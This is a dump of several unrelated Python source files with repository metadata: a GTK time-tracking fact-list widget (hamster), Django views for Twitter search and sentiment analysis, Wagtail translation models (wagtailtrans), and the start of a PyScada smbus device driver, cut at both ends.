self.tag_inner_margin_H = 3\n self.tag_inner_margin_V = 2\n self.inter_tag_margin = 4\n self.row_margin_H = 5\n self.row_margin_V = 2\n self.category_offset_V = self.category_label.height * 0.1\n\n @property\n def height(self):\n res = self.activity_label.height + 2 * 3\n if self.fact.description:\n res += self.description_label.height\n\n if self.fact.tags:\n res += (self.tag_label.height\n + self.tag_inner_margin_V * 2\n + self.tag_row_margin_V * 2)\n\n res += self.row_margin_V * 2\n\n return res\n\n def set_fact(self, fact):\n \"\"\"Set current fact.\"\"\"\n\n self.fact = fact\n\n time_label = fact.start_time.strftime(\"%H:%M -\")\n if fact.end_time:\n time_label += fact.end_time.strftime(\" %H:%M\")\n self.time_label.set_text(time_label)\n\n self.activity_label.set_text(stuff.escape_pango(fact.activity))\n\n category_text = \" - {}\".format(stuff.escape_pango(fact.category)) if fact.category else \"\"\n self.category_label.set_text(category_text)\n\n text = stuff.escape_pango(fact.description)\n description_text = \"{}\".format(text) if fact.description else \"\"\n self.description_label.set_text(description_text)\n\n if fact.tags:\n # for now, tags are on a single line.\n # The first one is enough to determine the height.\n self.tag_label.set_text(stuff.escape_pango(fact.tags[0]))\n\n def _show_tags(self, g, color, bg):\n label = self.tag_label\n label.color = bg\n\n g.save_context()\n g.translate(self.tag_row_margin_H, self.tag_row_margin_V)\n for tag in self.fact.tags:\n label.set_text(stuff.escape_pango(tag))\n w, h = label.layout.get_pixel_size()\n rw = w + self.tag_inner_margin_H * 2\n rh = h + self.tag_inner_margin_V * 2\n g.rectangle(0, 0, rw, rh, 2)\n g.fill(color, 0.5)\n label.show(g, x=self.tag_inner_margin_H, y=self.tag_inner_margin_V)\n\n g.translate(rw + self.inter_tag_margin, 0)\n\n g.restore_context()\n\n def show(self, g, colors, fact=None, is_selected=False):\n \"\"\"Display the fact row.\n\n If fact is given, the fact attribute is updated.\n \"\"\"\n g.save_context()\n\n if fact is not None:\n # before the selection highlight, to get the correct height\n self.set_fact(fact)\n\n color, bg = colors[\"normal\"], colors[\"normal_bg\"]\n if is_selected:\n color, bg = colors[\"selected\"], colors[\"selected_bg\"]\n g.fill_area(0, 0, self.width, self.height, bg)\n\n g.translate(self.row_margin_H, self.row_margin_V)\n\n g.set_color(color)\n\n # Do not show the start/end time for Totals\n if not isinstance(self.fact, TotalFact):\n self.time_label.show(g)\n self.activity_label.show(g, self.activity_label.get_text() if not isinstance(self.fact, TotalFact) else \"{}\".format(self.activity_label.get_text()))\n\n if self.fact.category:\n g.save_context()\n category_color = graphics.ColorUtils.mix(bg, color, 0.57)\n g.set_color(category_color)\n x = self.activity_label.x + self.activity_label.layout.get_pixel_size()[0]\n self.category_label.show(g, x=x, y=self.category_offset_V)\n g.restore_context()\n\n if self.fact.description or self.fact.tags:\n g.save_context()\n g.translate(self.activity_label.x, self.activity_label.height + 3)\n\n if self.fact.tags:\n self._show_tags(g, color, bg)\n tag_height = (self.tag_label.height\n + self.tag_inner_margin_V * 2\n + self.tag_row_margin_V * 2)\n g.translate(0, tag_height)\n\n if self.fact.description:\n self.description_label.show(g)\n\n g.restore_context()\n\n self.duration_label.show(g, self.fact.delta.format() if not isinstance(self.fact, TotalFact) else \"{}\".format(self.fact.delta.format()), x=self.width - 105)\n\n g.restore_context()\n\n\nclass FactTree(graphics.Scene, gtk.Scrollable):\n \"\"\"\n The fact tree is a painter.\n It does not change facts by itself, only sends signals.\n Facts get updated only through `set_facts`.\n\n It maintains scroll state and shows what we can see.\n That means it does not show all the facts there are,\n but rather only those that you can see.\n It's also painter as it reuses labels.\n Caching is futile, we do all the painting every time\n\n\n ASCII Art!\n | Weekday | Start - End | Activity - category [actions]| Duration |\n | Month, Day | | tags, description | |\n | | Start - End | Activity - category | Duration |\n | | | Total | Total Duration |\n\n Inline edit?\n\n \"\"\"\n\n __gsignals__ = {\n # enter or double-click, passes in current day and fact\n 'on-activate-row': (gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, (gobject.TYPE_PYOBJECT, gobject.TYPE_PYOBJECT)),\n 'on-delete-called': (gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, (gobject.TYPE_PYOBJECT,)),\n }\n\n hadjustment = gobject.property(type=gtk.Adjustment, default=None)\n hscroll_policy = gobject.property(type=gtk.ScrollablePolicy, default=gtk.ScrollablePolicy.MINIMUM)\n vadjustment = gobject.property(type=gtk.Adjustment, default=None)\n vscroll_policy = gobject.property(type=gtk.ScrollablePolicy, default=gtk.ScrollablePolicy.MINIMUM)\n\n def __init__(self):\n graphics.Scene.__init__(self, style_class=gtk.STYLE_CLASS_VIEW)\n\n self.date_label = Label(10, 3)\n fontdesc = pango.FontDescription(graphics._font_desc)\n fontdesc.set_weight(pango.Weight.BOLD)\n self.date_label.layout.set_alignment(pango.Alignment.RIGHT)\n self.date_label.layout.set_width(80 * pango.SCALE)\n self.date_label.layout.set_font_description(fontdesc)\n\n self.fact_row = FactRow()\n\n self.action_row = ActionRow()\n # self.add_child(self.action_row)\n\n self.row_positions = []\n self.row_heights = []\n\n self.y = 0\n self.day_padding = 20\n\n self.hover_day = None\n self.hover_fact = None\n self.current_fact = None\n\n self.style = self._style\n\n self.visible_range = None\n self.set_size_request(500, 400)\n\n self.connect(\"on-mouse-scroll\", self.on_scroll)\n self.connect(\"on-mouse-move\", self.on_mouse_move)\n self.connect(\"on-mouse-down\", self.on_mouse_down)\n\n self.connect(\"on-resize\", self.on_resize)\n self.connect(\"on-key-press\", self.on_key_press)\n self.connect(\"notify::vadjustment\", self._on_vadjustment_change)\n self.connect(\"on-enter-frame\", self.on_enter_frame)\n self.connect(\"on-double-click\", self.on_double_click)\n\n @property\n def current_fact_index(self):\n \"\"\"Current fact index in the self.facts list.\"\"\"\n facts_ids = [fact.id for fact in self.facts]\n return facts_ids.index(self.current_fact.id)\n\n def on_mouse_down(self, scene, event):\n self.on_mouse_move(None, event)\n self.grab_focus()\n if self.hover_fact:\n # match either content or id\n if (self.hover_fact == self.current_fact\n or (self.hover_fact\n and self.current_fact\n and self.hover_fact.id == self.current_fact.id)\n ):\n self.unset_current_fact()\n # Totals can't be selected\n elif not isinstance(self.hover_fact, TotalFact):\n self.set_current_fact(self.hover_fact)\n\n def activate_row(self, day, fact):\n self.emit(\"on-activate-row\", day, fact)\n\n def delete_row(self, fact):\n self.emit(\"on-delete-called\", fact)\n\n def on_double_click(self, scene, event):\n if self.hover_fact and not isinstance(self.hover_fact, TotalFact):\n self.activate_row(self.hover_day, self.hover_fact)\n\n def on_key_press(self, scene, event):\n # all keys should appear also in the Overview.on_key_press\n # to be forwarded here even without focus.\n if event.keyval == gdk.KEY_Up:\n if self.facts:\n if self.current_fact:\n idx = max(0, self.current_fact_index - 1)\n else:\n # enter from below\n idx = len(self.facts) - 1\n self.set_current_fact(self.facts[idx])\n\n elif event.keyval == gdk.KEY_Down:\n if self.facts:\n if self.current_fact:\n idx = min(len(self.facts) - 1, self.current_fact_index + 1)\n else:\n # enter from top\n idx = 0\n self.set_current_fact(self.facts[idx])\n\n elif event.keyval == gdk.KEY_Home:\n if self.facts:\n self.set_current_fact(self.facts[0])\n\n elif event.keyval == gdk.KEY_End:\n if self.facts:\n self.set_current_fact(self.facts[-1])\n\n elif event.keyval == gdk.KEY_Page_Down:\n self.y += self.height * 0.8\n self.on_scroll()\n\n elif event.keyval == gdk.KEY_Page_Up:\n self.y -= self.height * 0.8\n self.on_scroll()\n\n elif event.keyval == gdk.KEY_Return:\n if self.current_fact:\n self.activate_row(self.hover_day, self.current_fact)\n\n elif event.keyval == gdk.KEY_Delete:\n if self.current_fact:\n self.delete_row(self.current_fact)\n\n def set_current_fact(self, fact):\n self.current_fact = fact\n\n if fact.y < self.y:\n self.y = fact.y\n if (fact.y + fact.height) > (self.y + self.height):\n self.y = fact.y + fact.height - self.height\n\n self.on_scroll()\n\n def unset_current_fact(self):\n \"\"\"Deselect fact.\"\"\"\n self.current_fact = None\n self.on_scroll()\n\n def get_visible_range(self):\n start, end = (bisect.bisect(self.row_positions, self.y) - 1,\n bisect.bisect(self.row_positions, self.y + self.height))\n\n y = self.y\n return [{\"i\": start + i, \"y\": pos - y, \"h\": height, \"day\": day, \"facts\": facts}\n for i, (pos, height, (day, facts)) in enumerate(zip(self.row_positions[start:end],\n self.row_heights[start:end],\n self.days[start:end]))]\n\n def on_mouse_move(self, tree, event):\n hover_day, hover_fact = None, None\n\n for rec in self.visible_range:\n if rec['y'] <= event.y <= (rec['y'] + rec['h']):\n hover_day = rec\n break\n\n if hover_day != self.hover_day:\n # Facts are considered equal if their content is the same,\n # even if their id is different.\n # redraw only cares about content, not id.\n self.redraw()\n # make sure it is always fully updated, including facts ids.\n self.hover_day = hover_day\n\n if self.hover_day:\n for fact in self.hover_day.get('facts', []):\n if (fact.y - self.y) <= event.y <= (fact.y - self.y + fact.height):\n hover_fact = fact\n break\n\n if (hover_fact\n and self.hover_fact\n and hover_fact.id != self.hover_fact.id\n ):\n self.move_actions()\n # idem, always update hover_fact, not just if they appear different\n self.hover_fact = hover_fact\n\n def move_actions(self):\n if self.hover_fact:\n self.action_row.visible = True\n self.action_row.x = self.width - 80 - self.action_row.width\n self.action_row.y = self.hover_fact.y - self.y\n else:\n self.action_row.visible = False\n\n def _on_vadjustment_change(self, scene, vadjustment):\n if not self.vadjustment:\n return\n self.vadjustment.connect(\"value_changed\", self.on_scroll_value_changed)\n self.set_size_request(500, 300)\n\n def set_facts(self, facts, scroll_to_top=False):\n # FactTree adds attributes to its facts. isolate these side effects\n # copy the id too; most of the checks are based on id here.\n self.facts = [fact.copy(id=fact.id) for fact in facts]\n del facts # make sure facts is not used by inadvertance below.\n\n # If we get an entirely new set of facts, scroll back to the top\n if scroll_to_top:\n self.y = 0\n self.hover_fact = None\n if self.vadjustment:\n self.vadjustment.set_value(self.y)\n\n if self.facts:\n start = self.facts[0].date\n end = self.facts[-1].date\n else:\n start = end = dt.hday.today()\n\n by_date = defaultdict(list)\n delta_by_date = defaultdict(dt.timedelta)\n for fact in self.facts:\n by_date[fact.date].append(fact)\n delta_by_date[fact.date] += fact.delta\n\n # Add a TotalFact at the end of each day if we are\n # displaying more than one day.\n if len(by_date) > 1:\n for key in by_date:\n total_by_date = TotalFact(_(\"Total\"), delta_by_date[key])\n by_date[key].append(total_by_date)\n\n days = []\n for i in range((end - start).days + 1):\n current_date = start + dt.timedelta(days=i)\n if current_date in by_date:\n days.append((current_date, by_date[current_date]))\n\n self.days = days\n\n self.set_row_heights()\n\n if (self.current_fact\n and self.current_fact.id in (fact.id for fact in self.facts)\n ):\n self.on_scroll()\n else:\n # will also trigger an on_scroll\n self.unset_current_fact()\n\n def set_row_heights(self):\n \"\"\"\n the row height is defined by following factors:\n * how many facts are there in the day\n * does the fact have description / tags\n\n This func creates a list of row start positions to be able to\n quickly determine what to display\n \"\"\"\n if not self.height:\n return\n\n y, pos, heights = 0, [], []\n\n for date, facts in self.days:\n height = 0\n for fact in facts:\n self.fact_row.set_fact(fact)\n fact_height = self.fact_row.height\n fact.y = y + height\n fact.height = fact_height\n\n height += fact.height\n\n height += self.day_padding\n height = max(height, 60)\n\n pos.append(y)\n heights.append(height)\n y += height\n\n self.row_positions, self.row_heights = pos, heights\n\n maxy = max(y, 1)\n\n if self.vadjustment:\n self.vadjustment.set_lower(0)\n self.vadjustment.set_upper(max(maxy, self.height))\n self.vadjustment.set_page_size(self.height)\n\n def on_resize(self, scene, event):\n self.set_row_heights()\n self.fact_row.width = self.width - 105\n self.on_scroll()\n\n def on_scroll_value_changed(self, scroll):\n self.y = int(scroll.get_value())\n self.on_scroll()\n\n def on_scroll(self, scene=None, event=None):\n if not self.height:\n return\n y_pos = self.y\n direction = 0\n if event and event.direction == gdk.ScrollDirection.UP:\n direction = -1\n elif event and event.direction == gdk.ScrollDirection.DOWN:\n direction = 1\n\n y_pos += 15 * direction\n if self.vadjustment:\n y_pos = max(0, min(self.vadjustment.get_upper() - self.height, y_pos))\n self.vadjustment.set_value(y_pos)\n self.y = y_pos\n\n self.move_actions()\n self.redraw()\n\n self.visible_range = self.get_visible_range()\n\n def on_enter_frame(self, scene, context):\n has_focus = self.get_toplevel().has_toplevel_focus()\n if has_focus:\n colors = {\n \"normal\": self.style.get_color(gtk.StateFlags.NORMAL),\n \"normal_bg\": self.style.get_background_color(gtk.StateFlags.NORMAL),\n \"selected\": self.style.get_color(gtk.StateFlags.SELECTED),\n \"selected_bg\": self.style.get_background_color(gtk.StateFlags.SELECTED),\n }\n else:\n colors = {\n \"normal\": self.style.get_color(gtk.StateFlags.BACKDROP),\n \"normal_bg\": self.style.get_background_color(gtk.StateFlags.BACKDROP),\n \"selected\": self.style.get_color(gtk.StateFlags.BACKDROP),\n \"selected_bg\": self.style.get_background_color(gtk.StateFlags.BACKDROP),\n }\n\n if not self.height:\n return\n\n g = graphics.Graphics(context)\n\n g.set_line_style(1)\n g.translate(0.5, 0.5)\n\n date_bg_color = self.colors.mix(colors[\"normal_bg\"], colors[\"normal\"], 0.15)\n g.fill_area(0, 0, 105, self.height, date_bg_color)\n\n y = int(self.y)\n\n for rec in self.visible_range:\n g.save_context()\n g.translate(0, rec['y'])\n g.set_color(colors[\"normal\"])\n self.date_label.show(g, rec['day'].strftime(\"%A\\n%b %d\"))\n\n g.translate(105, 0)\n for fact in rec['facts']:\n is_selected = (self.current_fact is not None\n and fact.id == self.current_fact.id)\n self.fact_row.set_fact(fact)\n self.fact_row.show(g, colors, is_selected=is_selected)\n g.translate(0, self.fact_row.height)\n\n g.restore_context()\n","repo_name":"projecthamster/hamster","sub_path":"src/hamster/widgets/facttree.py","file_name":"facttree.py","file_ext":"py","file_size_in_byte":21776,"program_lang":"python","lang":"en","doc_type":"code","stars":1029,"dataset":"github-code","pt":"47"} +{"seq_id":"71535661263","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom django.http import JsonResponse\nfrom django.utils import timezone\nfrom requests_oauthlib import OAuth1Session\nimport requests.utils\nimport json\nfrom .api_search import TwitterUtil\nfrom .forms import SearchForm\nfrom .sentiment_analysis import SentimentAnalysis\nfrom .models import SentimentAnalysisModel\nfrom .models import TweetSearch\nimport re\nfrom operator import itemgetter\nimport datetime\n\ndef index(request):\n\tform = SearchForm()\n\treturn render(request, 'index.html', {'form': form})\n\ndef procurar(request):\n\tif request.method == 'POST':\n\t\tform = SearchForm(request.POST or None)\n\t\tif form.is_valid():\n\t\t\tsearch = form.cleaned_data['search']\n\t\t\tfield = form.cleaned_data['field']\n\n\t\t\tclient = TwitterUtil()\n\n\t\t\tif not client.get_tweets(\"ifsc \"+ search, 1000):\n\t\t\t\treturn redirect(index_error)\n\t\t\ttweets = client.get_tweets(\"ifsc \"+ search, 1000)\n\n\t\t\tlist_tweet = []\n\n\t\t\tanalysis = SentimentAnalysis()\n\n\t\t\tfor tweet in range(0, len(tweets)):\n\t\t\t\taux = tweets[tweet]['user']['location']\n\n\t\t\t\tif (re.search('brasil', aux, re.IGNORECASE) or re.search('Santa Catarina', aux, re.IGNORECASE)):\n\t\t\t\t\tlist_tweet.append(tweets[tweet])\n\t\t\t\t\tanalysis.score_sentiment(tweets[tweet]['text'])\n\n\t\t\tquantity = len(list_tweet)\n\n\t\t\ttweet_search = TweetSearch(time_was_made = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"), count_tweets = quantity, tags = search)\n\t\t\ttweet_search.save()\n\n\t\t\tprint(\"Atual search date: \"+ datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"))\n\n\t\t\tclient_analysis = SentimentAnalysisModel(positive = analysis.count_positive, default = analysis.count_default, negative = analysis.count_negative, tweet_search = tweet_search)\n\t\t\tclient_analysis.save()\n\n\t\t\tif field == \"oldest\":\n\t\t\t\tlist_tweet = sorted(list_tweet, key=lambda k: (len(k[\"id_str\"]), int(k[\"id_str\"][-2:])))\n\t\t\tif field == \"morert\":\n\t\t\t\tlist_tweet = sorted(list_tweet, key = itemgetter('retweet_count'))\n\t\t\tif field == \"minusrt\":\n\t\t\t\tlist_tweet = sorted(list_tweet, key = itemgetter('retweet_count'), reverse = True)\n\n\t\t\treturn render(request, 'procurar.html', {'tweets': list_tweet, 'quantity': quantity, 'tags': search} )\n\telse:\n\t\tform = SearchForm()\n\t\treturn render(request, 'index.html', {'form': form})\n\ndef graficos(request):\n\tsentiments_analysis = SentimentAnalysisModel.objects.last()\n\n\t#positive = sum([int(s.positive) for s in sentiments_analysis])\n\t#default = sum([int(s.default) for s in sentiments_analysis])\n\t#negative = sum([int(s.negative) for s in sentiments_analysis])\n\n\tpositive = sentiments_analysis.positive\n\tdefault = sentiments_analysis.default\n\tnegative = sentiments_analysis.negative\n\n\tcontext = {\n\t\t'positive': json.dumps(positive),\n\t\t'default': json.dumps(default),\n\t\t'negative': json.dumps(negative)\n\t}\n\treturn render(request, 'graficos.html', context)\n\ndef history(request):\n\ttable = TweetSearch.objects.all()\n\treturn render(request, 'history.html', {'table': table})\n\ndef history_ajax(request):\n\tdate = request.GET.get('date')\n\tprint(date)\n\ttweet_search = TweetSearch.objects.get(time_was_made = date)\n\n\tts = tweet_search.sentiments.all()\n\n\tfor s in ts:\n\t\tp = s.positive\n\t\td = s.default\n\t\tn = s.negative\n\n\tcontext = {\n\t\t'positive': json.dumps(p),\n\t\t'default': json.dumps(d),\n\t\t'negative': json.dumps(n)\n\t}\n\n\trequest.session['context'] = context\n\n\tdata = {'date': date}\n\n\tprint(request.session['context'])\n\n\treturn JsonResponse(context)\n\ndef index_error(request):\n\tform = SearchForm()\n\treturn render(request, 'index.html', {'erro': 'Tag inválida! Tente novamente', 'form': form})\n","repo_name":"bryannatali/consulta-api-twitter-python-django","sub_path":"dataminingvenv/datamining/datamining/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32115677063","text":"from operator import itemgetter\n\nfrom django import forms\nfrom django.conf import settings\nfrom django.core.exceptions import ValidationError\nfrom django.db import models\nfrom django.db.models import Q\nfrom django.http import Http404\nfrom django.shortcuts import redirect\nfrom django.utils.encoding import force_str\nfrom django.utils.functional import cached_property\nfrom django.utils.translation import activate\nfrom django.utils.translation import gettext_lazy as _\nfrom wagtail.admin.edit_handlers import FieldPanel, MultiFieldPanel, PageChooserPanel\nfrom wagtail.admin.forms import WagtailAdminModelForm, WagtailAdminPageForm\nfrom wagtail.contrib.settings.models import BaseSetting\nfrom wagtail.contrib.settings.registry import register_setting\nfrom wagtail.core.models import Page, Site\nfrom wagtail.search.index import FilterField\n\nfrom .conf import get_wagtailtrans_setting\nfrom .edit_handlers import CanonicalPageWidget, ReadOnlyWidget\nfrom .managers import LanguageManager\nfrom .permissions import TranslatableUserPagePermissionsProxy\n\n\nclass WagtailAdminLanguageForm(WagtailAdminModelForm):\n \"\"\"Custom wagtailadmin form so we can make use of the panels\n property, used by ``wagtail.contrib.modeladmin``.\n\n \"\"\"\n code = forms.ChoiceField(\n label=_(\"Language\"), choices=settings.LANGUAGES,\n help_text=_(\"One of the languages defined in LANGUAGES\"))\n\n class Meta:\n fields = [\n 'code',\n 'is_default',\n 'position',\n 'live',\n ]\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n sorted_choices = sorted(self.fields['code'].choices, key=itemgetter(1))\n self.fields['code'].choices = sorted_choices\n\n def clean_is_default(self):\n is_default = self.cleaned_data['is_default']\n\n if self.initial.get('is_default') and not is_default:\n raise ValidationError(_(\n \"You can not remove is_default from a language. To change the \"\n \"default language, select is_default on a different language\"))\n\n return is_default\n\n def save(self, commit=True):\n is_default = self.cleaned_data.get('is_default', False)\n if (\n not self.initial.get('is_default') == is_default and\n is_default and\n not get_wagtailtrans_setting('LANGUAGES_PER_SITE')\n ):\n from wagtailtrans.utils.language_switch import change_default_language # noqa\n change_default_language(self.instance)\n return super().save(commit=commit)\n\n\ndef get_language_panels():\n children = [\n FieldPanel('code'),\n FieldPanel('position'),\n FieldPanel('live'),\n ]\n\n if not get_wagtailtrans_setting('LANGUAGES_PER_SITE'):\n children.insert(1, FieldPanel('is_default'))\n\n return [\n MultiFieldPanel(heading=_(\"Language details\"), children=children),\n ]\n\n\nclass Language(models.Model):\n \"\"\"User defined language.\"\"\"\n code = models.CharField(max_length=12, unique=True)\n\n is_default = models.BooleanField(\n default=False, help_text=\"\"\"Visitors with no language preference will see the site in this language\"\"\")\n\n position = models.IntegerField(\n default=0, help_text=\"\"\"Language choices and translations will be displayed in this order\"\"\")\n\n live = models.BooleanField(default=True, help_text=\"Is this language available for visitors to view?\")\n\n objects = LanguageManager()\n\n base_form_class = WagtailAdminLanguageForm\n panels = get_language_panels()\n\n class Meta:\n ordering = ['position']\n verbose_name = _('Language')\n verbose_name_plural = _('Languages')\n\n def __str__(self):\n return force_str(dict(settings.LANGUAGES).get(self.code))\n\n def has_pages_in_site(self, site):\n return self.pages.filter(path__startswith=site.root_page.path).exists()\n\n\nclass AdminTranslatablePageForm(WagtailAdminPageForm):\n \"\"\"Form to be used in the wagtail admin.\"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.fields['canonical_page'].widget = CanonicalPageWidget(\n canonical_page=self.instance.specific.canonical_page)\n\n language_display = Language.objects.filter(pk=self.initial['language']).first()\n if self.instance.specific.is_canonical and language_display:\n language_display = \"{} - {}\".format(language_display, \"canonical\")\n\n self.fields['language'].widget = ReadOnlyWidget(text_display=language_display if language_display else '')\n\n\ndef _language_default():\n # Let the default return a PK, so migrations can also work with this value.\n # The FakeORM model in the migrations differ from this Django model.\n default_language = Language.objects.default()\n if default_language is None:\n return None\n else:\n return default_language.pk\n\n\nclass TranslatablePage(Page):\n\n #: Defined with a unique name, to prevent field clashes..\n translatable_page_ptr = models.OneToOneField(Page, parent_link=True, related_name='+', on_delete=models.CASCADE)\n canonical_page = models.ForeignKey(\n 'self', related_name='translations', blank=True, null=True, on_delete=models.SET_NULL)\n language = models.ForeignKey(Language, related_name='pages', on_delete=models.PROTECT, default=_language_default)\n\n is_creatable = False\n\n search_fields = Page.search_fields + [\n FilterField('language_id'),\n ]\n\n settings_panels = Page.settings_panels + [\n MultiFieldPanel(\n heading=_(\"Translations\"),\n children=[\n FieldPanel('language'),\n PageChooserPanel('canonical_page'),\n ]\n )\n ]\n\n base_form_class = AdminTranslatablePageForm\n\n def get_admin_display_title(self):\n return \"{} ({})\".format(super().get_admin_display_title(), self.language)\n\n def serve(self, request, *args, **kwargs):\n activate(self.language.code)\n return super().serve(request, *args, **kwargs)\n\n def move(self, target, pos=None, suppress_sync=False, *args, **kwargs):\n \"\"\"Move the page to another target.\n\n :param target: the new target to move the page to\n :param pos: position of the page in the new target\n :param suppress_sync: suppress syncing the translated pages\n\n \"\"\"\n super().move(target, pos, *args, **kwargs)\n\n if get_wagtailtrans_setting('LANGUAGES_PER_SITE'):\n site = self.get_site()\n lang_settings = SiteLanguages.for_site(site)\n is_default = lang_settings.default_language == self.language\n else:\n is_default = self.language.is_default\n\n if not suppress_sync and get_wagtailtrans_setting('SYNC_TREE') and is_default:\n self.move_translated_pages(canonical_target=target, pos=pos)\n\n def move_translated_pages(self, canonical_target, pos=None):\n \"\"\"Move only the translated pages of this instance (not self).\n\n This is only called when WAGTAILTRANS_SYNC_TREE is enabled\n\n :param canonical_target: Parent of the canonical page\n :param pos: position\n\n \"\"\"\n translations = self.get_translations(only_live=False)\n if getattr(canonical_target, 'canonical_page', False):\n canonical_target = canonical_target.canonical_page\n\n for page in translations:\n # get target because at this point we assume the tree is in sync.\n target = TranslatablePage.objects.filter(\n Q(language=page.language),\n Q(canonical_page=canonical_target) | Q(pk=canonical_target.pk)\n ).get()\n\n page.move(target=target, pos=pos, suppress_sync=True)\n\n def get_translations(self, only_live=True, include_self=False):\n \"\"\"Get all translations of this page.\n\n This page itself is not included in the result, all pages\n are sorted by the language position.\n\n :param only_live: Boolean to filter on live pages & languages.\n :return: TranslatablePage instance\n\n \"\"\"\n canonical_page_id = self.canonical_page_id or self.pk\n translations = TranslatablePage.objects.filter(Q(canonical_page=canonical_page_id) | Q(pk=canonical_page_id))\n\n if not include_self:\n translations = translations.exclude(pk=self.pk)\n\n if only_live:\n translations = translations.live().filter(language__live=True)\n\n return translations\n\n def has_translation(self, language):\n \"\"\"Check if page isn't already translated in given language.\n\n :param language: Language instance\n :return: Boolean\n\n \"\"\"\n return language.pages.filter(canonical_page=self).exists()\n\n def get_translation_parent(self, language):\n site = self.get_site()\n if not language.has_pages_in_site(site):\n return site.root_page\n\n translation_parent = (\n TranslatablePage.objects\n .filter(canonical_page=self.get_parent(), language=language, path__startswith=site.root_page.path)\n .first()\n )\n return translation_parent\n\n def create_translation(self, language, copy_fields=False, parent=None):\n \"\"\"Create a translation for this page. If tree syncing is enabled the\n copy will also be moved to the corresponding language tree.\n\n :param language: Language instance\n :param copy_fields: Boolean specifying if the content should be copied\n :param parent: Parent page instance for the translation\n :return: new Translated page (or subclass) instance\n\n \"\"\"\n if self.has_translation(language):\n raise Exception(\"Translation already exists\")\n\n if not parent:\n parent = self.get_translation_parent(language)\n\n if self.slug == self.language.code:\n slug = language.code\n else:\n slug = '%s-%s' % (self.slug, language.code)\n\n update_attrs = {\n 'title': self.title,\n 'slug': slug,\n 'language': language,\n 'live': False,\n 'canonical_page': self,\n }\n\n if copy_fields:\n kwargs = {'update_attrs': update_attrs}\n if parent != self.get_parent():\n kwargs['to'] = parent\n\n new_page = self.copy(**kwargs)\n else:\n model_class = self.content_type.model_class()\n new_page = model_class(**update_attrs)\n parent.add_child(instance=new_page)\n\n return new_page\n\n @cached_property\n def has_translations(self):\n return self.translations.exists()\n\n @cached_property\n def is_canonical(self):\n return not self.canonical_page_id and self.has_translations\n\n class Meta:\n verbose_name = _('Translatable page')\n verbose_name_plural = _('Translatable pages')\n\n\ndef get_user_language(request):\n \"\"\"Get the Language corresponding to a request.\n return default language if Language does not exist in site\n\n :param request: Request object\n :return: Language instance\n \"\"\"\n if hasattr(request, 'LANGUAGE_CODE'):\n language = Language.objects.live().filter(code=request.LANGUAGE_CODE).first()\n if language:\n return language\n\n # Backwards-compatible lookup for the deprecation of Wagtails SiteMiddleware per 2.9\n if 'wagtail.core.middleware.SiteMiddleware' in settings.MIDDLEWARE:\n site = request.site\n else:\n site = Site.find_for_request(request)\n\n return Language.objects.default_for_site(site=site)\n\n\nclass TranslatableSiteRootPage(Page):\n \"\"\"Root page of any translatable site.\n\n This page should be used as the root page because it will\n route the requests to the right language.\n\n \"\"\"\n parent_page_types = ['wagtailcore.Page']\n\n def serve(self, request, *args, **kwargs):\n \"\"\"Serve TranslatablePage in the correct language\n\n :param request: request object\n :return: Http302 or Http404\n\n \"\"\"\n language = get_user_language(request)\n candidates = TranslatablePage.objects.live().specific().child_of(self)\n try:\n translation = candidates.filter(language=language).get()\n return redirect(translation.url)\n except TranslatablePage.DoesNotExist:\n raise Http404\n\n\ndef page_permissions_for_user(self, user):\n \"\"\"Patch for the page permissions adding our custom proxy\n\n Note: Since wagtail doesn't call this method on the\n specific page we need to patch the default page\n implementation for this.\n\n :param user: User instance\n :return: user permissions for page\n\n \"\"\"\n user_perms = TranslatableUserPagePermissionsProxy(user)\n return user_perms.for_page(self)\n\n\nPage.permissions_for_user = page_permissions_for_user\n\n\nclass SiteLanguagesForm(WagtailAdminModelForm):\n \"\"\"Form to be used in the wagtail admin.\"\"\"\n\n def clean_other_languages(self):\n if (\n 'default_language' in self.cleaned_data and\n self.cleaned_data['default_language'] in self.cleaned_data['other_languages']\n ):\n raise forms.ValidationError(_(\"Default language cannot be in other_languages\"))\n return self.cleaned_data['other_languages']\n\n def save(self, commit=True):\n data = self.cleaned_data\n if not data['default_language'].pk == self.initial['default_language']:\n from wagtailtrans.utils.language_switch import change_default_language # noqa\n change_default_language(data['default_language'], self.instance.site)\n\n return super().save(commit=commit)\n\n\ndef register_site_languages():\n def decorate(func):\n if get_wagtailtrans_setting('LANGUAGES_PER_SITE'):\n return register_setting(func)\n return func\n return decorate\n\n\n@register_site_languages()\nclass SiteLanguages(BaseSetting):\n \"\"\"Site specific settings are stored in the database\"\"\"\n default_language = models.ForeignKey(\n Language, related_name=\"site_default_language\", null=True, on_delete=models.PROTECT)\n other_languages = models.ManyToManyField(Language, blank=True)\n\n panels = [\n MultiFieldPanel(\n heading=_(\"Languages\"),\n children=[\n FieldPanel('default_language'),\n FieldPanel(\n 'other_languages', widget=forms.CheckboxSelectMultiple),\n ]\n ),\n ]\n\n base_form_class = SiteLanguagesForm\n\n class Meta:\n verbose_name = _(\"Site languages\")\n verbose_name_plural = _(\"Site languages\")\n","repo_name":"wagtail/wagtailtrans","sub_path":"src/wagtailtrans/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":14629,"program_lang":"python","lang":"en","doc_type":"code","stars":103,"dataset":"github-code","pt":"47"} +{"seq_id":"6333589945","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom .. import PROTOCOL_ID\nfrom pyscada.device import GenericHandlerDevice\n\nimport logging\n\nlogger = logging.getLogger(__name__)\n\ntry:\n import smbus\n\n driver_ok = True\nexcept ImportError:\n smbus = None\n logger.error(\"Cannot import smbus\")\n driver_ok = False\n\n\nclass GenericDevice(GenericHandlerDevice):\n def __init__(self, pyscada_device, variables):\n super().__init__(pyscada_device, variables)\n self._protocol = PROTOCOL_ID\n self.driver_ok = driver_ok\n\n def connect(self):\n \"\"\"\n establish a connection to the Instrument\n \"\"\"\n super().connect()\n result = True\n\n try:\n self.inst = smbus.SMBus(int(self._device.smbusdevice.port))\n except Exception as e:\n self._not_accessible_reason = e\n # 